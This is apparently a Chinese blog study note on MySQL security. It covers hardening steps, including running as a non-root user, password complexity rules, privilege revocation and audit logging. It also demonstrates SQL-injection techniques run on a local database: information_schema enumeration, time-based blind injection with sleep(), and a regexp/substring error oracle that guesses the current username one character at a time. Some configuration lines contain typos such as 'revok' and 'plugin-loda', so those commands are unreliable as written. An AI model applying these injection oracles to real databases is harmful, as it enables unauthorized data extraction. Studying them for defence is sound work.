• 还是一篇学习笔记


    一、MySQL数据库安全管理

    1、禁止MySQL以管理员账号权限运行

    应使用非管理员账号运行,以普通账户安全运行

    加固:在MySQL my.cnf配置文件中应配置user=mysql

    2、禁止使用空口令

    登录账户:

     数据库所有用户都应配置密码,配置语句:

    mysql>set password for <user>@'<host>'=password(‘<clear password>’)

    更改用户口令:

     

    检查是否有空密码语句:

    mysql>select*from mysql.user where user="";

    查看结果为空

     3、设置密码复杂度:

    添加配置信息:

    plugin-loda=validate_password.so

    validate_password_length 8
    validat_password_mixed_case_count 1
    validate_password_number_count 1

    validate_password_special_char_count 1
    validate_password_policy MEDIUM

    查看密码复杂度:

    密码过期时间小于等于90天:

    配置MySQL RDBMS:

    全局策略:set global default_password_lifetime=90

    4、降低非管理员账户权限

    查看用户权限:

    mysql> select user,host from mysql.user where file_priv='Y'
    mysql> select user,host from mysql.user where process_priv='Y';

    只有管理员才有权限,不存在非管理员账号:

     如果存在非管理员使用命令进行权限回收:

    revok shutdown on *.* from '<user>';
    revok create user on *.* from '<user>';
    revok grant option on *.* from '<user>';

    注:user为非管理员账户

     5、配置MySQL日志便于审计

    编辑my.cnf文件:

    错误日志log_error=/home/mysql.err

    二进制日志log_bin=mysql-bin

    置慢查询日志slow_query_log=1

    通用查询日志general_log=1

    更新日志log_slave_updates=1

     二、数据库常用命令

    1、查看数据库版本:select version();

    2、查看日志文件:mysql> show variables like "%log%";

    3、 查看用户及host信息mysql> select user,host from mysql.user;

    三、SQL查询及破解用户名

    information_schema是MySQL自带的数据库,包含MySQL里面说有的库、表、字段的关系结构。

    mysql> show databases;
    +--------------------+
    | Database           |
    +--------------------+
    | information_schema |
    | mysql              |
    | performance_schema |
    | sys                |
    +--------------------+
    4 rows in set (0.92 sec)

    schemata表记录数据库名:

    mysql> select schema_name from information_schema.schemata;
    +--------------------+
    | schema_name        |
    +--------------------+
    | information_schema |
    | mysql              |
    | performance_schema |
    | sys                |
    +--------------------+
    4 rows in set (0.04 sec)

    查看数据库的数据表名:(table表记录数据库对应的数据表名)

    mysql> select table_name from information_schema.tables where table_schema='mysql';

     查看某数据库表的列名:(column表对应数据表的列名)

    mysql> select column_name from information_schema.columns where table_name='user';

     SQL查询获取数据库信息:

    查询当前数据库、当前用户、当前数据库系统:

    mysql> select database();
    +------------+
    | database() |
    +------------+
    | NULL       |
    +------------+
    mysql> select user();
    +----------------+
    | user()         |
    +----------------+
    | root@localhost |
    +----------------+
    mysql> select @@version_compile_os;
    +----------------------+
    | @@version_compile_os |
    +----------------------+
    | Linux                |
    +----------------------+

    基于时间的盲注:

    以mysql中的db表为例:

    正常查询和通过order by加if语句(每做一次查询数据库休眠两秒)的数据库返回结果时间对比:

    mysql> select * from db;
    2 rows in set (0.15 sec)
    mysql> select * from db order by if(1=2,1,sleep(2));
    2 rows in set (4.12 sec)

    regexp正则表达:只有字符相同时才返回结果

    mysql> select 1 regexp 1;
    +------------+
    | 1 regexp 1 |
    +------------+
    |          1 |
    +------------+
    1 row in set (0.16 sec)
    
    mysql> select 1 regexp 0;
    +------------+
    | 1 regexp 0 |
    +------------+
    |          0 |
    +------------+
    1 row in set (0.00 sec)
    
    mysql> select 1 regexp 4;
    +------------+
    | 1 regexp 4 |
    +------------+
    |          0 |
    +------------+
    1 row in set (0.00 sec)

    利用regexp正则暴力猜解用户名:字符串处理函数substring分割当前用户名,与等号后字母进行判断

    当字符不匹配时报错,当字符匹配时返回表内容,通过对字母的遍历可得用户名第一位字母为r,第二位为o,依此顺序破解可得用户名:

    mysql> select user from db order by(select 1 regexp if(substring(user(),1,1)='a',1,0x00));
    ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
    mysql> select user from db order by(select 1 regexp if(substring(user(),1,1)='o',1,0x00));
    ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
    mysql> select user from db order by(select 1 regexp if(substring(user(),1,1)='r',1,0x00));
    +---------------+
    | user          |
    +---------------+
    | mysql.session |
    | mysql.sys     |
    +---------------+
    2 rows in set (0.24 sec)
    mysql> select user from db order by(select 1 regexp if(substring(user(),2,1)='a',1,0x00));
    ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
    mysql> select user from db order by(select 1 regexp if(substring(user(),2,1)='m',1,0x00));
    ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
    mysql> select user from db order by(select 1 regexp if(substring(user(),2,1)='o',1,0x00));
    +---------------+
    | user          |
    +---------------+
    | mysql.session |
    | mysql.sys     |
    +---------------+
    2 rows in set (0.00 sec)
  • 相关阅读:
    BZOJ1212 [HNOI2004]L语言
    BZOJ1202 [HNOI2005]狡猾的商人
    BZOJ1295 [SCOI2009]最长距离
    BZOJ1266 [AHOI2006]上学路线
    BZOJ1297 [SCOI2009]迷路
    php declare (ticks = N)
    使用 trait 时报PHP Parse error: syntax error, unexpected 'use' (T_USE) 这个错误
    yii2 and short_open_tag
    Nginx负载均衡配置实例详解
    Could not fetch https://api.github.com/repos/RobinHerbots/jquery
  • 原文地址:https://www.cnblogs.com/tinkerbell/p/12615042.html
Copyright © 2020-2023  润新知